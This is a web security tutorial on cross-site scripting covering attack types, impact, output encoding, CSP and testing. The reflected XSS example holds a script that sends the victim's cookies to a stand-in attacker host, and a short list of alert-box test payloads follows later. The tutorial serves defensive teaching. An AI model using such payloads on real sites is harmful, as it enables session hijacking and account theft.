Key Takeaways
- XSS allows attackers to execute JavaScript in victims' browsers.
- Three types: Reflected, Stored, and DOM-based XSS.
- Always encode output based on context (HTML, JS, URL).
- Content Security Policy (CSP) provides defense in depth.
- HttpOnly cookies prevent session hijacking via XSS.
- Use frameworks that auto-encode by default (React, Vue).
Table of Contents
1. What is XSS?
Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. When a victim's browser executes this script, it runs with the full privileges of the legitimate website, enabling attackers to steal session cookies, capture keystrokes, redirect users, or modify page content.
XSS remains one of the most common web vulnerabilities, consistently appearing in the OWASP Top 10. Despite being well-understood, it persists because developers must encode output in multiple contexts, and a single missed encoding point creates a vulnerability.
Why "Cross-Site"?
The name comes from the attack's ability to "cross" the boundary between websites. The attacker's script runs as if it came from the trusted site, accessing data and functionality that should be protected by the same-origin policy.
2. XSS Attack Types
2.1 Reflected XSS
The malicious script comes from the current HTTP request. Attackers craft a URL with the payload and trick victims into clicking it.
# Vulnerable URL
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
# Server reflects input without encoding
<p>Search results for: <script>...</script></p>
2.2 Stored XSS
The malicious script is permanently stored (database, logs, comments) and served to every user who views the affected page. More dangerous than reflected XSS as it doesn't require tricking users into clicking links.
# Attacker posts comment with payload
Comment: Great article! <script>stealCookies()</script>
# Every user viewing comments executes the script
2.3 DOM-Based XSS
The vulnerability exists in client-side JavaScript that processes user input unsafely. The payload never goes to the server.
// Vulnerable JavaScript
const name = location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
// Attack URL
https://example.com/page#<img src=x onerror=alert('XSS')>
| Type | Location | Persistence | Detection |
|---|---|---|---|
| Reflected | Server | None (URL only) | Server-side scanning |
| Stored | Server/DB | Persistent | Server-side scanning |
| DOM-based | Client | None/Varies | Client-side analysis |
3. Impact of XSS Attacks
- Session Hijacking: Steal cookies and impersonate users
- Credential Theft: Create fake login forms, capture keystrokes
- Defacement: Modify page content, display malicious messages
- Malware Distribution: Redirect to malware, drive-by downloads
- Worm Propagation: Self-spreading XSS (e.g., Samy worm)
- Cryptocurrency Mining: Run mining scripts in browsers
4. Prevention Techniques
4.1 Output Encoding
The primary defense. Encode output based on the context where it's inserted:
# HTML Context
< → < > → > & → & " → "
# JavaScript Context
Use JSON.stringify() or JS-specific encoding
# URL Context
Use encodeURIComponent()
# CSS Context
Use CSS-specific encoding functions
4.2 Input Validation
Defense in depth. Validate input against expected patterns, but never rely on this alone for XSS prevention.
# Whitelist validation (preferred)
if not re.match(r'^[a-zA-Z0-9]+$', username):
raise ValidationError('Invalid username')
# Length limits
if len(input) > 100:
raise ValidationError('Input too long')
4.3 Safe Sinks
// UNSAFE: innerHTML, document.write, eval
element.innerHTML = userInput; // XSS!
// SAFE: textContent, innerText
element.textContent = userInput; // Safe, encoded automatically
// SAFE: setAttribute (with caveats)
element.setAttribute('data-value', userInput); // Safe for most attributes
Dangerous JavaScript APIs
innerHTML, outerHTML, document.write, insertAdjacentHTML
eval(), setTimeout(string), setInterval(string), new Function(string)
Avoid these with user input, or sanitize carefully.
5. Content Security Policy
CSP is a browser security feature that provides defense in depth against XSS:
# Basic CSP Header
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'
# Strict CSP (recommended)
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-abc123';
style-src 'self';
img-src 'self' data:;
frame-ancestors 'none';
# In HTML (use nonces for inline scripts)
<script nonce="abc123">
// This script is allowed
</script>
5.1 CSP Directives
| Directive | Purpose |
|---|---|
| default-src | Fallback for other directives |
| script-src | Valid sources for JavaScript |
| style-src | Valid sources for CSS |
| img-src | Valid sources for images |
| connect-src | Valid targets for fetch, XHR |
| frame-ancestors | Controls framing (clickjacking) |
6. Framework-Specific Guidance
6.1 React
React auto-encodes by default. The main risk is dangerouslySetInnerHTML:
// SAFE - auto-encoded
return <div>{userInput}</div>;
// DANGEROUS - avoid or sanitize thoroughly
return <div dangerouslySetInnerHTML={{__html: userInput}} />;
6.2 Vue.js
<!-- SAFE - auto-encoded -->
<div>{{ userInput }}</div>
<!-- DANGEROUS - avoid or sanitize -->
<div v-html="userInput"></div>
6.3 PHP
// UNSAFE
echo $_GET['name'];
// SAFE
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
7. Testing for XSS
7.1 Manual Testing
# Basic payloads
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
javascript:alert('XSS')
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>
7.2 Automated Tools
- Burp Suite: Scanner with comprehensive XSS detection
- OWASP ZAP: Free, open-source scanner
- XSStrike: Python XSS scanner
- DOM Invader: Burp extension for DOM XSS
8. Frequently Asked Questions
Conclusion
XSS prevention requires consistent output encoding, appropriate use of CSP, and avoiding dangerous JavaScript APIs. Modern frameworks help by encoding by default, but developers must remain vigilant about unsafe escape hatches and complex contexts.
Continue Learning:
SQL Injection
Web Security Guide